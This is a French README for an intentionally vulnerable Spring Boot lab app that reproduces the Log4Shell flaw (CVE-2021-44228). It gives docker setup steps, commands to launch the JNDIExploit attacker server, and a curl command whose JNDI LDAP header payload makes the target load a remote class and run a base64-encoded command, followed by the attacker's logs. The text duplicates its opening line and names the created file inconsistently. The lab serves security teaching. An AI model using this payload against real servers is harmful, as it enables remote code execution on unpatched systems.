
Ce dépôt contient une application web Spring Boot vulnérable à la CVE-2021-44228, connue sous le nom log4shell.
Ce dépôt contient une application web Spring Boot vulnérable à CVE-2021-44228, connue sous le nom de log4shell.
Elle utilise
log-4j-core:2.14.1 (via spring-boot-starter-log4j2) etopenjdk:8u181Exécutez-la :
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
Ou bien, construisez-la vous-même :
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
En suivant les étapes ci-dessous, vous pouvez reproduire une exploitation de log4shell. Si vous n'êtes pas familier avec le fonctionnement de l'attaque en interne, consultez cet article ou les diapositives de ce dépôt.
Mise à jour (13 déc.) : Le dépôt JNDIExploit a été supprimé de GitHub (vraisemblablement, pas par GitHub). Je vous recommande donc d'utiliser la version sauvegardée depuis ce dépôt.
Nous devons d'abord configurer les serveurs attaquants. Cela consiste en
Nous utilisons JNDIExploit pour lancer les serveurs attaquants.
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
Comme charge utile, nous voulons exécuter touch /tmp/pwned (qui correspond à l'encodage base64 dG91Y2ggL3RtcC9wd25lZAo=) sur le serveur de l'application vulnérable.
Déclenchez l'exploit en utilisant :
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
La sortie de JNDIExploit montre que les serveurs attaquants ont répondu avec l'exploit malveillant et ont exécuté la charge utile :
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
Pour confirmer que l'exécution du code a réussi, nous vérifions que le fichier /tmp/pwned.txt a été créé dans le conteneur exécutant l'application vulnérable :
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/